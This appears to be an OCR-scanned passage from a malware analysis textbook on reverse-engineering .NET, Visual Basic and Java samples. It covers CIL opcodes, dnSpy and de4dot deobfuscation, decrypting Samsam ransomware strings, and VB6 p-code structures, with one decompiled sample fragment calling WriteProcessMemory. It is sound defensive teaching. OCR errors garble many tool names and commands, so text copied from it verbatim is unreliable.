PE PEID v0.95 =10] x|

File: | sarnple.bin

Entrypoint: | 00077BFE EP Section: |, text =
File Offset: [0007SDFE First Bytes: |FF,25,00,20 =
Linker Info: |0 Subsyskem: | Wina2 GUI =

|Microsoft Visual C# | Basic JMET

Mulki Scan Task Wiewer Cptions Abiok Exit

"2 skawv on top w5 || -=

Figure 5: PEiD detecting a .NET application

The second way is to check the Import Table inside the data directory. .NET
applications always import only one API, which is _corexemain from
mscoree.dll here:



DllName OriginalFirstThunk TimeDateStamp ForwarderChain MName FirstThunk

mscoree. dll 0000B4EC 00000000 00000000 0000B50E 00002000

Thunk RVA Thunk Offset | Thunk Value Hint/Ordinal AFI Mame
00002000 00001000 Q000BS00 ooon _CorExeMain

Close

Figure 6: .NET application import table

Finally, you can check the last entry in the data directory, which represents the
CLR header. If it's populated (that is, contains values other than nuci) then it's a
.NET application, and this should be a CLR header (you can use CFF Explorer

to check that).



The CIL language instruction set

The CIL (also known as MSIL) language is very similar to RISC assembly
languages. However, it doesn't include any registers and all the variables,
classes, fields, methods, and so on are accessed through their ID in the streams
and their tables. Local variables are also accessed through their ID in methods.
Most of the code is based on loading variables, constants, and so on into the
stack, performing an operation (whose result is stored on the stack), and popping
this result back into a local variable or field in an object.

This language consists of a set of opcodes and arguments for these opcodes (if
necessary). Most of the opcodes take up 1 byte. Let's take a look at the
instructions of this language.



Pushing into stack instructions

There are many instructions for storing values or IDs into the stack. These can
be accessed later for an operation or to be stored in another variable. Here are
most of them:

Lde Loads a constant into the stack (1dc.i4 1e: pushes an int32 value of
10 into the stack)

L4 1d Loads a field of an object into a stack given its ID (takes 2 bytes
for an ID or uses 1df1d.s for 1 byte ID)

Lasriqa | L0ads the address or the reference to a field into the stack (the
object reference has to be in the stack already)

1dobj Loads an object into the stack

Ldelen Loads an element of an array into the stack given its index (1delem.s
for short)

ldelema | [,0ads the address of an element of an array into the stack

Ldarg Loads an argument of a method into the stack given the argument
number or ID

ldstr Loads a string from metadata (#us) into the stack given its ID

ldnull Pushes a null value into the stack

Ldloc Loads a local variable into the stack given its ID (1d1oc.s for short
form and 1d1oc.e until 1d10c.3 for the first four local variables)

1dloca Loads the reference of a local variable into the stack

ldlen Loads the length of a string into the stack

civeof Loads the size of a class (the size of the memory space that should
be allocated for any object of that class) into the stack

i

For all the instructions that take an ID, these instructions take an ID in 2-byte form. There is
a shorter version of them that has the suffix .s added to them, which takes an ID in 1-byte
form.



The instructions that deal with constants or elements of an array (1dc and 1delem)
take a suffix that describes the type of that value. Here are the used types:

i (.1, .i2, .i4, i8) Integer (ints, int16, int32, OT int64)

u (Lul, .u2, .u4, .u8) Unsigned integer

.r (.r4, .r8) Float numbers (f1loat32 and fioate4)

.ref A reference of the element object (only 1de1em)

Now, let's look at how to pull out a value from the stack into another variable or

field.




Pulling out a value from the stack

Here are the instructions that let you pull out (pop) a value or a reference from
the stack into another variable or field:

pop Pops a value out of the stack (doesn't store it in any variable)
starg Stores a value from the stack into a method's argument

Stores a value from the stack into an element of an array (given the
stelem

element ID and the reference to the array on top of the stack)

stfld

(stsfid) Stores a value from the stack to a field ( and stsfid for static fields)

stind Stores a value from the stack in a specific memory address (which
is pushed into the stack before the value is pushed)

ctloc Stores a value from the stack into a local variable (it also has stioc.o
until stloc.3)

stobj Stores an object from the stack (that includes the reference to it) to

a memory address, which is also pushed into the stack

The instructions that take IDs also have a shorter version with the .s suffix and some
instructions such as stind and stelen, and the value type suffix as well (such as .i4 or .rs).



Mathematical and logical operations

The CIL language implements the same operations that you will see in any
assembly language, such as add, sub, shl, shr, xor, or, and, mul, div, not, neg, rem (the
remainder from a division), and nop for no operation.

These instructions take their arguments from the stack and save the result back
into the stack. These can be stored in a variable using any store instruction (such
as stloc).



Branching instructions

This is the last important set of instructions to learn. These instructions are
related to branching and conditional jumps. These instructions are not so
different from the assembly language either, but they depend on the stack values
for comparing and branching;:

call Calls a method or a static method of a class

car1vire | Calls a method of an object (the object reference needs to be
pushed in the stack earlier)

ret Return from a method

inp Exit the current method and jump to a specific method (given the
ID of that method)

beq and | Branch if equal and branch if not equal (given the line number of

bne the target instruction to branch to)

blt

and p1e | Branch if lower and branch if lower or equal

oo and | Branch if greater and branch if greater or equal

brfalse Branch if the result is False (other aliases include brzero and brnu11)

brtrue

Branch if the result is True (other aliases include brinst)

br
(br.s)

Branch to target given the line number to branch to (br.s for short)




CIL language to higher-level
languages

So far, we've discussed the various IL language instruction sets and the key
differentiating factors of a .NET application, as well as its file structure. In this
section, we will take a look at how these higher-level languages (VB.NET, C#,
and others), as well as their statements, branches, and loops get converted into
CIL language.



Local variable assignments

Here is an example of setting a local variable value with a constant value of 1e:
[Xx = 10;
This will be converted into the following:

ldc.i4 10 //pushes to the stack an int32 constant with value 10
stloc.0 //stores a value in local variable 0 (X) from stack



Local variable assignment with a
method return value

Here is another more complicated example that shows you how to call a method,
push its arguments to the stack, and store the return value into a local variable
(here, it's calling a static method from a class directly and not a virtual method
from an object):

| Process[] Process = System.Diagnostics.Process::GetProcessesByName("App01");

The intermediate code looks like:

ldstr "Appo1" //here, ldstr access that string with its ID and the string itself i
call class [System]System.Diagnostics.Process[] [System]System.Diagnostics.Process::Get
stloc.0 //Store the return value in local variable 0 (X)



Basic branching statements

For if statements, the C# code looks like this:

if (X == 50)
{

}

Y = 20;

The IL language will look like this (here, we are adding the line number for
branching instructions):

00: 1dloc.o //load local variable 1 (X)

01: ldc.i4.s 50 //1load in32 constant with value 50 into the stack

02: bne 5 //if not equal, branch/jump to line number 5

03: ldc.i4.s 20 //1load in32 constant with value 20 into the stack

04: stloc.1 //store the value 20 from the stack to the local variable 1 (Y)
05: nop //Here could be any code that is after the If statement

06: nop



Loops statements

The last example we will cover in this section is the for loop. This statement is
more complicated than if statements and even more than while statement for
loops. However, it's more widely used in C# and understanding it will help you
understand other complicated statements in IL language. The C# code looks like
this:

for (1 = 0; i < 50; i++)

{
b

X =i+ 20;

The equivalent IL code will look like this:

00: 1ldc.i4.0 //pushes a constant with value 0

01: stloc.0 //stores it in local variable © (i). This represents i = 0

02: br 11 //unconditional branching to line 11

03: 1ldloc.0 //loads variable © (i) into stack

04: 1ldc.i4.s 20 //loads an int32 constant with value 20 into stack

05: add //adds both values from the stack and push the result back to stack (i + 20)
06: stloc.1 //stores the result to local variable 1 (X)

07: 1ldloc.0 //loads local variable 0 (i)

08: 1ldc.i4.1 //pushes a constant value of 1

09: add //adds both values

10: stloc.0 //stores in local variable i (i++)

11: 1ldloc.0 //loads again local variable i (this is the branching destination)

12: 1ldc.i4.s 50 //loads an int32 constant with value 50 into stack

13: blt.s 3 //compare both values from stack (i and 50) and branch to line number 3 if t

That's it for the .NET file structure and its IL language. Now, let's take a look at
how we can analyze .NET malware.



.NET malware analysis

As you may know, .NET applications are easy to disassemble and decompile so
that they are as close to the original source code as possible. This leaves
malware more exposed to reverse engineering. There are multiple obfuscation
techniques that we will describe in this section, as well as the deobfuscation
process. First, let's explore the available tools for .NET reverse engineering.



.NET analysis tools

Here are the most well-known tools for decompiling and analysis:

ILSpy: This is a good decompiler for static analysis, but it doesn't have the
ability to debug the malware.

Dnspy: Based on ILSpy and dnlib, it's a decompiler that allows you to
debug and patch the code.

.NET reflector: A commercial decompiler tool for static analysis and
debugging in Visual Studio.

NET IL Editor (DILE): Another powerful tool that allows for the
disassembling and debugging of .NET applications.

dotPeek: A tool that's used to decompile malware into C# code. Good for
static analysis and for recompiling and debugging with the help of Visual
Studio.

Visual Studio: Visual Studio is the main IDE for .NET languages. It
provides the ability to compile the source code and debug .NET
applications.

SOSEX: A plugin for WinDbg that simplifies .NET debugging.

Here are the most well-known deobfuscation tools:

deadot: Based on dnlib as well, this is very useful in deobfuscating samples
that are obfuscated by known obfuscation tools

NoFuserEx: A deobfuscator for the confuserex obfuscator

Detect It Easy (die): A good tool for detecting the obfuscator that was used
for the sample



Static and dynamic analysis (with
Dnspy)

Now, we will take a look at how to we can perform static analysis, dynamic
analysis, and patch the sample to delete or modify the obfuscator code.



NET static analysis

There are multiple tools that can help you disassemble and decompile a sample,
and even convert it completely into C# or VB.NET source code. You can use
Dnspy to decompile a sample by just dragging and dropping it into the
application interface. This is what this application looks like:

Figure 7: Static analysis with Dnspy

You can click on File | Export To Project to export the decompiled source code
into a Visual Studio project. Now, you can read the source code, modify it, write
comments on it, or modify the names of the functions for better analysis. Dnspy
has the ability to show the actual IL language of the sample by right-clicking and
choosing Edit IL. Language from the menu.

To go to the main function, you can right-click on the program (from the sidebar)
and choose Go To Entry Point. However, it is possible that the main
functionality will be located in other functions, such as onrun, onstartup, or
oncreateMainfForm, OT in forms. When analyzing code associated with forms, start
from their constructor (.ctor) and pay attention to what function is being added to
the base.Load, as well as what functions are called after this. Some methods like
the form's onLoad method may be overridden as well.

Another tool that you could use would be dotPeek. It's a free tool that can also
decompile a sample and export it to C# source code. It has a very similar



interface to Visual Studio. You can also analyze the CIL language using IDA.

Finally, a standard i1dasm tool can disassemble and export the IL code of a
sample:

| ildasm.exe <malware_sample> /output output.il



.NET dynamic analysis

For debugging, there are fewer tools to use. Dnspy is a complete solution when it
comes to static and dynamic analysis. It allows you to set breakpoints, and step
into and step over for debugging. It also shows the variables' values.

To start debugging, you need to set a breakpoint on the EntryPoint of the
sample. Another option is to export the source code to C#, and then recompile
and debug the program in Visual Studio, which will give you full control over
the execution. Visual Studio also shows the variables' values and has lots of
features to facilitate debugging.

If the sample is too obfuscated to debug or export to C# code by dotPeek or
Dnspy, you can rely on ildasm.exe to export the sample code in IL language and
use ilasm.exe to compile it again with debug information. Here is how to
recompile it with i1asm.exe:

| ilasm.exe /debug output.il /output=<new sample exe file>

With /debug, a .pdb file for the sample is created that includes the debug
information.



Patching a .NET sample

There are multiple ways to modify the sample code for deobfuscating,
simplifying the code, or forcing the execution to go through a specific path. The
first option is to use the Dnspy patching capability. In Dnspy, you can edit any
method or class by right-clicking, selecting edit method (c#), modifying the code,
and recompiling. You can also export the whole project, modify the source code,
g0 to Edit Method (c#), and click on the c# icon to import a source code file to be
compiled by replacing the original code of that class. You can also modify the
malware source code (after exporting) in Visual Studio and recompile it for
debugging.

In Dnspy, you can modify the local variables' names by selecting edit 1o
nstruction from the menu and selecting locals to modify by their local variable
names, as shown in the following screenshot. In regards to the classes and
methods, you can modify their names just by updating them in edit Method (c#) or
Edit class (c#) and compiling:
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Figure 8: Editing local variables in Dnspy

You can also edit the IL code directly by selecting Edit IL Instruction and
modifying the instructions. This allows you to choose the instruction and the
field or the variable you want to access.



Dealing with obfuscation

In this section, we will take a look at different common obfuscation techniques
for .NET samples and how to deobfuscate them.



Obfuscated names for classes,
methods, and others

One of the most common obfuscation techniques is basically to obfuscate the
names of the classes, methods, variables, fields, and so on—basically everything
that has a name. Obfuscation can get even harder if you obfuscate the names into
other alphabets or other symbols (since the names are in Unicode), such as
Chinese or Japanese.

You can easily deobfuscate such samples by running the deadot deobfuscator
from the command line, like so:

| deddot .exe <sample>

This will rename all the obfuscated names, as you can see in the following
screenshot (the nammerpuke sample is shown here):
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igure 9: Hammerduke sample before and after running de4dot to deobfuscate the names

You can also rename the methods manually to add more meaningful names by
right-clicking on the method and then selecting Edit Method or clicking Alt +
Enter and changing the name of the method. After that, you need to save the
module and reload it for the changes to be put into effect.



You can also edit local variable names by right-clicking on the method and
choosing Edit Method Body or Edit IL Instructions and choosing Locals.



Encrypted strings inside the binary

Another common technique used by .NET samples is encrypting the malware
strings. Encrypting strings hides these strings from signature-based tools, as well
as from less experienced malware analysts. Working with encrypted strings
requires finding the decryption function and setting a breakpoint on each of its
calls, as you can see in the following screenshot:

KOXGE nlkYRv hxoxFxG, 3
nyF47KIEK6VVIHOUVD JUBOHNwxK1d UDATPCFTRIXYNAUHW2MYXHF T
EmLwlx5tdd/YxaFDFz1Fxms <KeP/ /01NpXHQ54p

miinated?

Figure 10: Samsam ransomware encrypted strings getting decrypted in memory

Sometimes, there are hard to reach encrypted strings, so you may not see them
decrypted in the normal execution of the malware. For example, because the
C&C is down and maybe these are additional C&C addresses that won't get
decrypted if the first C&C is working. In these cases, you can do any of the
following:

¢ You can use deadot to decrypt the encrypted strings by giving it the method
ID. You can find the method ID by checking the Methods table in the #-
stream, as you can see in the following screenshot:



WriteBytesToFile

13 JF A 91 A

Figure 11: Samsam ransomware decryption function myff11(), ID 0x0600000C

You can then decrypt the strings dynamically using the following command:

| ded4dot <sample> --strtyp delegate --strtok <decryption method ID>

¢ You can modify the EntryPoint code and add a call to the decryption
function to decrypt the strings. The preceding screenshot is actually created
by repointing calls to the decryption functions, including the encrypted
strings. For Dnspy to compile this code, you have to use these strings by
changing an object field or calling system.console.writeline() to print that
string to the console. You will need to save the module after modifying it
and reopen it for the changes to be put into effect.

¢ Another option is to export the whole malware source code from Dnspy by
clicking on File | Export To Project or using dotPeek to export it, modify it,
and then recompile it with Visual Studio before debugging it.



The sample is obfuscated using an
obfuscator

There are many .NET obfuscators available. They are mostly used for key
protection, but they are also commonly used by malware authors to protect their
samples from reverse engineering. There are multiple tools for detecting known
packers, for example, Detect It Easy (die), as you can see in the following
screenshot:

C:/Samples binstall.exe

Entropy FLC

Import LesI .MET

EntryPoint: 0001b34e > ImageBase: 00400000

MumberOfSections: 0003 s Size0OfImage: 00032000
protector Confuser{1.X)[-] ?
library MNET(w4.0.30319)[-]

linker Microsoft Linker(45.0%)[EXE32, console,admin]

?

LE B ¥ B ¥ |

?

Opftions
Detect It Easy *  Signatures Info About

112 ms
Exit:

Figure 12: Detect it Easy for detecting the obfuscator (ConfuserEx)

You can also use deadot to detect the obfuscator only running the deadot.exe -d
<sample> command or deobfuscate the sample using the deadot.exe
<sample> command.

For custom and unknown obfuscators, you will need to go through debugging
and patching to deal with them. Before doing so, check different sources, if there
are solutions or deobfuscators for it, or even if the obfuscator is actually open



source (such as confuserex). If the obfuscator is shareware, you may be able to
communicate with them and get their aid to deobfuscate the sample (as these
obfuscators are not designed to help malware authors protect their samples).



The essentials of Visual Basic

Visual Basic is a high-level programming language developed by Microsoft and
based on the BASIC family of languages. Its main feature at the time of
appearance was the ability to quickly create graphical interfaces and good
integration with the COM model, which fostered easy access to ActiveX Data
Objects (ADOs).

The last version of it was released in 1998 and the extended support for it ended
in 2008. However, all modern Windows operating systems keep supporting it
and, while it is rarely used by APT actors, many mass malware families are still
written on it. In addition, many malicious packers use this programming
language as well, often detected as Vbcrypt/VBKrypt or something similar.
Finally, Visual Basic for Applications (VBA), which is still widely used in
Microsoft Office applications and was even upgraded to version 7 in 2010, is
largely the same language as VB6 and uses the same runtime library.

In this section, we will dive into two different compilation modes supported by
the latest version of Visual Basic (VB6), provide recommendations on how to
analyze samples implementing them, and explain why we are discussing this in
this chapter.



File structure

The compiled Visual Basic samples look like standard MZ-PE executables. They
can be easily recognized by a unique imported DLL, msvevmee.oLL (MsvevmMse.DLL WaSs
used for the older version). PEiD is generally very good at identifying this
programming language (when the sample is not packed, obviously):

PE PEID v0.95 = 0] x|

File: | sample.bin

Entrypoint: | 00003053 EP Section: | .text &
File Offset: [00003055 First Bytes: |68,74,33,40 | >
Linker Info: | 6.0 Subsystem: |Win32 GUI =

| Microsoft Yisual Basic 5.0 ) 6.0

Pulti Scan Task Viewer iQpkions Abaut Euxit

v atay on top e || -=

Figure 13: PEiD identifying Visual Basic

At the EntryPoint of the sample, we can expect to see a call to the thunrTMain
(msvBvMeo.100) runtime function:



Lext 100403058 public start

Lext:00403058 start:

Lext 100403058 push  offset duord 483374
Lext: 00403050 call  ThunRTHain
[Ny ==-smsossiamnERtnaRsRRE—————

h Hex Tiew-1)
Attributes: thunk

ThunRTHain proc near ; CODE XREF: .text:00uB3050)p
jap ds:_imp ThunRTHain
ThunRTHain ~ endp

Figure 14: EntryPoint of the Visual Basic sample

The Thun here is a reference to the original project's name, gasic thunder. This
function receives a pointer to the following structure:

Field Size | Description

VbMagic 4 VB5! signature

RuntimeBuild 2 Runtime build

LangD11 14 Language DLL

SecLanguageDLL 14 Alternative language DLL
RuntimeRevision 2 Version of the runtime

LCID 4 Code of the application language
SecLCID 4 Alternative language code

SubMain 4 Address of the main routine (can be zero)
ProjectInfo 4 Pointer to the projectinfo Structure
Md1lIntCtls 4 MDL control flags

Md1lIntCtls2 4 More MDL control flags




ThreadFlags 4 Thread flags

ThreadCount 4 Number of threads

FormCount 2 Number of forms

ExternalCount 2 Number of external ActiveX components

ThunkCount 4 Number of thunks

GuiTable 4 Pointer to the GuiTable structure

ExternalCompTable 4 Pointer to the External ComponentTable

ComRegisterData 4 Pointer to the ComRegisterData

projectbescription | 4 Offset of the project description (relative to the
beginning of this structure)

ProjectExeName 4 Offset of the .exe name of the project

ProjectHelpFile 4 Offset of the name of the help file

ProjectName 4 Offset of the name of the project

Now, let's take a look at the ProjectInfo structure:

Field Size | Description

Version 4 Supported VB version, generally 5[.]00 in hex
(0x1f4)

ObjectTable 4 Pointer to the objectTable Structure

Null 4 0

CodeStart 4 Pointer to the start of the code block

CodeEnd 4 Pointer to the end of the code block




Datasize 4 Size of the data buffer

Threadspace 4 Pointer to the Thread Object's address

Vbasen 4 Pointer to the exception handler (basically,
__vbaExceptHandler function)

NativeCode 4 Pointer to the start of the .data section (native code)

PathInformation | 4 Pointer to the path string (often o)

Here, one of the most interesting fields is anativecode. This field can be used to
figure out whether the sample is compiled as p-code or native code. Now, let's
see why this information is actually important.



P-code versus native code

Starting from Visual Basic 5, it supports two compilation modes: p-code and
native code (before p-code was the only option). In order to understand the
differences between them, we first need to understand what p-code actually is.

P-code (stands for packed code or pseudocode) is the intermediate language with
an instruction format similar to machine code. In other words, it is a form of
bytecode. The main reason behind introducing it is to reduce the programs' size
at the expense of execution speed. When the sample is compiled as p-code, the
bytecode is interpreted by the language runtime. In contrast, the native code
option allows developers to compile a sample to the usual machine code, which
generally works faster, but takes up more space because of multiple overhead
instructions being used.

It is important to know which mode the analyzed sample is compiled in as it
defines what static and dynamic analysis tools should be used. As for how to
distinguish them, the easiest way would be to look at the anativecode field we
mentioned previously. If it is set to 0, this means that the p-code compilation
mode is being used. Another indicator here will be that the difference between
the aendofcode and astartofcode values will only be a few bytes maximum as there
will be no native code functions.

One more (less reliable) approach is to look at the import table:

e P-code: In this case, the main imported DLL will be msvsvmeo.oLL, which
provides access to all the necessary VB functions:



P0 PO-FF FF 00 00 S7E ¢ 4

0 EVENT SINK GetIDsOfNames |MSVBWMAG_DLL

Figure 15: Import table of the Visual Basic sample compiled in p-code mode

e Native code: In addition to msvevmeo.oLL, there will also be the typical system
DLLs such as kerne132.d11 and the corresponding import functions:

B RtlMoveMemory

Figure 16: Import table of the Visual Basic sample compiled in native code mode

Another way of distinguishing between these modes is to load a sample to a free
VB Decompiler Lite program and take a look at the code compilation type
(marked in bold) and the functions themselves. If the instructions there are
typical x86 instructions, then the sample is compiled as native code; otherwise,
p-code mode is used:



P-Code

Native Code

EEA

"Decompiler  Disassembler |HE>< Editor

'Data Table: 401C70
loc_4159F8: ILdI4 arg 10

loc 4159FB: LitI4 O

loc 415400: GtI4

loc_415401: BranchF loc 415419
loc_415404: LitVarl4
loc_41540C: F3tVar war AC

loc 415K10: LitI2 2263
loc_415413: F3tIZ wvar AE
loc_415416: Branch loc 415442
loc_4154159: ' Referenced from: 415401
loc_415419: LitVarl4
loc_415421: F3tVar war CO
loc_415425: LitVarl4
loc_41542D: F3tVar war DO

loz 415A31: LitI4 &HESFE
loc_415436: FStR4 wvar 98

KR

|»

Llll

..... =Gy 4 I I

5.E] Ct Decompler Disassembler | HEX Edicor
loe_00414480:
loe_00414481:
loc_0041448%:
loc_00414486:
loe_00414468:
loe_00414491:
loe_00414492:
loe_00414499:
loe_0041449C:
loc_0041449D:
loc_0041449E:
loc_0041449F:
loc 00414442
loc_00414449:
loc_0041444E:
loc_0041444E:
loc_004144B1:

push ebp

mwow ehp, esp

sub esp, 00000014k

push 00402CEeh ; _ vhaExceptHandler
wow eax, f£=:[00000000h]

push eax

wow f£=2:[000000000] ,
sub esp, 00000044k
push ehx

push esi

push edi

wov var_14, esp
wov var 10, 00401470h
Hor esi, esi

wov var €, esi

wov var 8, esi

wov var 20, 00h

esp

I|Dec0mpi|ed oK

|Dec0mpi|ed Ok

Figure 17. P-code versus native code samples in VB Decompiler Lite

We will cover this tool in greater detail in the next section.




Common p-code instructions

There are multiple basic opcodes that take 1-byte (00-FA) and the bigger 2-byte
opcodes starting with a prefix byte from the FB-FF range that are used less
frequently. Here are some examples of the most common p-code instructions that
are generally seen when exploring VB disassembly:

¢ Data storage and movement:

Litstr/Litvarstr: Initializes a string

Litre/Lit14/...: Pushes an integer value to the stack (often used to pass
arguments)

FMemLd12/FMenLdRf/. . .: Loads values of a particular type (memory)
AryistI2/Aryist14/...: Puts values of a particular type into an array
AryiLdI2/AryiLdi4/. . .: Loads values of a particular type from an array
rst12/Fst14/...: Puts a variable value into the stack

FLd12/FLd14/. .. Loads a value into a variable from the stack

Frreestr: Frees a string

concatstr: Concatenates a string

newrfnullpr: Allocates space if null

e Arithmetic operations:

Add12/Add14/. ... Adding operation
subi2/sub14/...: Subtraction operation
mulrz/mulz4/. ..: Multiplication operation
pivre: Division operation
orI4/xorI4/AndI4/Not14/...: Logical operations

e Comparison:

Eqre/eqra/egstr/. ... Check if equal
ner2/Ne14/Nestr/. ... Check if not equal
et12/6t14/. ... Check if greater than
Ler2/Le14/. ... Check if less or equal than

e Control flow:

vcallHresult/vcallad(vcall1a)/. ... Calls a function
ImpAdcalli2/Impadcallta/. . .: Calls an import function (API)
Branch/BranchF - Branch/Branch if False: Branches when the condition is
met



Obviously, there are many more of them, and in case that new opcode is required
to understand functionality, it can be found in the unofficial documentation (not
very detailed) or explored in the debugger.

Here are the most common abbreviations used in opcode names:

ad: Address

rf: Reference

Lit: Literal

pr: Pointer

mp: Import

Ld: Load

st: Store

c: Cast

poc: Duplicate opcode

All the common data type abbreviations that are used are pretty much self-
explanatory:

1: Integer (UIl1-byte, I12- integer, 14-long)
r: Real (R4-single, R8-double)

Bool: Boolean

var: Variant

str: String

cy: Currency

While it may take some time to get used to their notation, there aren't that many
variations, so after a while, it becomes pretty straightforward to understand the
core logic. Another option will be to invest in a proper decompiler and avoid
dealing with p-code instructions. We will cover this later.



Dissecting Visual Basic samples

Now that we have gained some knowledge of the essentials of Visual Basic, it's
time to shift our focus and learn how to dissect Visual Basic samples. In this
section, we are going to perform detailed static and dynamic analysis.



Static analysis

The common part for VB malware is that the code generally gets executed as
part of the submain routine and event handlers where timer and form load events

are particularly typical.

As we have already mentioned, the choice of tools will be defined by the
compilation mode that's used when creating a malware sample.



P-code

For p-code samples, the VB decompiler can be used to get access to its internals.
The Lite version is free and provides access to the p-code disassembly, which
may be enough for most cases. If the engineer doesn't have enough expertise or
time to deal with the p-code syntax, then the paid full version provides a
powerful decompiler that produces more readable Visual Basic source code as

output:

P-Code

P-Code IV Parse stack parameters

v Procedure analyzer and optimizer < |

Decompier  Disassembler |HEX Editor
'Data Takhle: 401990
loc_416074: FDupWar

Decompiler | Disassembler I HE?; Editar |

) Public Function colas (Attend)
'Data Table: 40199C

Dim var AS As Long

T4161z2¢ A

loc_418074: LitI4 &HI10

loc_41807F: LitI4 &H10

loz_416054: LitI4 £H40000

loc_416089: ImpAdCalllz HeapCreate(, , |
loc_41608E: F3tR4 war AC

loc_416051: SetlLastdystemError

loc_418092: ILAREf war AC

loc 416095: F3tR4 wvar A8

loc_4160558: ImpAdCallFPR4 CreateTimerQueus ()
loc_41605D: SetlastdystemError

loc_41605E: LitI4 0O

loc_416043: LitI4 &H10

loc 4160A45: FLARLVar war 98

loc_4180AE: ILAREf wvar A8

loz_4160AE: LitI4 -1

loc_4160B3: ImpAdCallFPR4 WriteProcessMemoryi(, , ,

loc 4160B5:

4

SetlLastSystemError

|

~“End Function

[

Attend, &H10,
(var_Ai8 + 8),
var_i0, 4, 0}
[var_SC + &£H:

loc_416055: wvar A5 = HeapCreate(£H40000, &H10, <£H10)
loc_4160598: CreateTimerQueue (var_ALS)

loc_4160B3: WriteProcessMemory (-1, wvar_ A8,
loc_4160D7: WriteProcessMemory(-1, war_ A0,

loc 4160FZ: WriteProcessMemory (-1, var_ 9C,
loc_416113: WriteProcessMemory(-1, wvar_id,
loc_416125: colas = (var A4 - 1)

i

Decompiled CF

Decompiled OF

Figure 18: The same p-code function in VB Decompiler disassembled and decompiled

=

Another popular option is the P32Dasm tool, which allows you to obtain p-code
listings in a few clicks:



[4, P32Dasm v2.80 - sample. bin (=13

File Edit References Tools About
ikl Ba D A PimbpE v sEEBESR OO
#

OD015B1E: F5  LitI4: O (0Ox0)
00015B20: DB GtI4 »

00015B21: 1C  BranchF 00015B39

00015B24: FEC1 LitVarI4: war EO = 78122700 (0x4L80ECC)
00015B2C: FCF6 FStVar war AC

00015B30: F3  LitlI2: 874 (Ox364)

00015B33: 70  FStIZ war AE
00015B36: 1E  Branch 00015EB62
00015B39: loc 00015B21
00015B39: FECL LitVarI4: war EO
O0015B41: FCF6 FStVar war CO
00015B45: FECL LitVarI4: war EO
O0015B4D: FCF6 FStWar war DO[
00015B51: F5  LitI4: 19446 (0Ox4BFg)
OD015B56: 71 F3tR4 war 98
0D015B59: F3  LitI2: 845 (0Ox34D)
O0015B5C: FCOD CUILIZ2

OD015BSE: FCFO FStUIL war 91
00015E62: loc DO015B36

< *

43963590 [(0x29ED4Ca)

65631238 (0x3ES7T406)

Idle Errors: 0 Unknown: 0 Procs: S6/61 (919,55 sec)

Figure 19: P32Dasm in action

One of its useful features is its ability to produce MAP files that can later be

loaded into OllyDbg or IDA using dedicated plugins. Its documentation also

mentions the Visual Basic debugger plugin for IDA, but it doesn't seem to be
available to the general public.

A hint for first time users—if necessary, put all requested .ocx files (can be downloaded
separately if not available) into the program's root directory in order to make it work.



Native code

For samples compiled as native code, any Windows static analysis tool we've
already discussed will do the trick. In this case, the solutions that are able to
effectively apply structures (such as IDA, Binary Ninja, or radare2) can
definitely save time:



dword 48C390

text:00403C2C
text:00403C30

dd GE9EYE9E9N, 3 dup(BCCCCCCCCh) ; DATA XREF: .text:0eu03C2CTo

; Attributes: bp-based frame

sub_48C3A0

var DC
var D8
var D@
variant G6C8
variant GBS
variant BAS
variant 98
variant 88
variant 78
str 68
str 64
str 60
str 5C
str 58
var 58
var 1€
var 14
var 18
var C

var 8

proc near ; CODE XREF: frmHain_method 16+75)p
= dword ptr -BDCh

= dword ptr -B08h

= dword ptr -BD8h

UB_UARIANT ptr -HC8h

UB_UARIANT ptr -6B8h

UB_UARIANT ptr -BA8K

UB_UARIANT ptr -98h
U
U

B UARIANT ptr -88h
B UARIANT ptr -78h
= byte ptr -68h

= duword ptr -64h

= dword ptr -58h
= byte ptr -56h
= dword ptr -1Ch
= dword ptr -14h
= dword ptr -18h
= duword ptr -8Ch
= dword ptr -8
push  ebp ; nSize
mov ebp, esp

sub esp, 14h

push  offset  vbaExceptHandler
mov eax, large fs:@

push  eax

mou large fs:8, esp

Figure 20: Pointer to the beginning of the native code in IDA after applying the ProjectInfo structure

dd offset dword 40C308
dd offset dword 424368




VB Decompiler can be used to quickly access the names of procedures without
digging into VB structures. For IDA, a free vb.idc script can be obtained from the
official Download Center page. It automatically marks up most of the important
structures, as well as the corresponding pointers, and this way makes the analysis
much more straightforward.

Overall, it is always possible to find the address of the submain function by

taking the address of the VB header (as we know now, it is passed to the
ThunrTMain function in the first instruction at the sample's EntryPoint) and get the
address of the SubMain by its offset (ex2c). For example, in radare2, you would do
the following:

68881040 0x401b88
eBfo call Ox4017f6
017fc]> pxw 4 QOx401088+0x2c

317fc]> pd 4 @Bx8B409386

gbec mov
B3eco8 ll

p17fc]> I

Figure 21: Finding the SubMain address for the VB sample in radare2

Now, let's talk about the dynamic analysis of Visual Basic samples.



Dynamic analysis

Just like static analysis, the dynamic analysis will be different for p-code and
native code samples.



P-code

When there is a need to debug p-code compiled code, generally, there are two
options available: debug the p-code instructions themselves, or debug the
restored source code.

The second option requires a high-quality decompiler that is able to produce
something close to the original source code. Usually, VB Decompiler does this
job pretty well. In this case, its output can be loaded into an IDE of your choice
and after some minor modifications can be used for debugging as any usual
source code. Often, it isn't necessary to restore the whole project as only certain
parts of the code need to be traced.

While this approach is definitely more user-friendly in general, sometimes,
debugging actual p-code may be the only option available, for example, when a
decompiler doesn't work properly or just isn't available. In this case, the
WKTVBDE project becomes extremely handy as it allows you to debug p-code
compiled applications. It requires a malicious sample being placed in its root
directory in order to be loaded properly.



Native code

For native code samples, just like for static analysis, usual dynamic analysis
tools for Windows can be used. The choice mainly depends on the analyst's
preferences and available budget.



The internals of Java samples

Java is a cross-platform programming language that is commonly used to create
both local and web applications. Its syntax was influenced by another object-
oriented language called Smalltalk. Originally developed by Sun Microsystems
and first released in 1995, it later became a part of the Oracle Corporation
portfolio. At the moment, it is considered to be one of the most popular
programming languages in use.

Java applications are compiled into the bytecode that's executed by Java Virtual
Machines (JVMs). The idea here is to let applications that have been compiled
once be used across all supported platforms without any changes required. There
are multiple JVM implementations available on the market and at the time of
writing (starting from Java 1.3), HotSpot JVM is the default official option. Its
distinctive feature is its combination of the interpreter and the Just-in-Time
(JIT) compiler, which is able to compile bytecode to native machine instructions
based on the profiler output to speed up the execution of slower parts of the
code. Most PC users get it by installing the Java Runtime Environment (JRE),
which is a software distribution that includes the standalone JVM (HotSpot), the
standard libraries, and a configuration toolset. The Java Development Kit
(JDK), which also contains JRE, is another popular option since it is a
development environment for building applications, applets, and

components using the Java language. For mobile devices, the process is quite
different, we will cover it in chapter 12, Analyzing Android Malware Samples.

In terms of malware, Java is quite popular among Remote Access Tool (RAT)
developers. An example could be a jRAT or Frutas/Adwind distributed as JAR
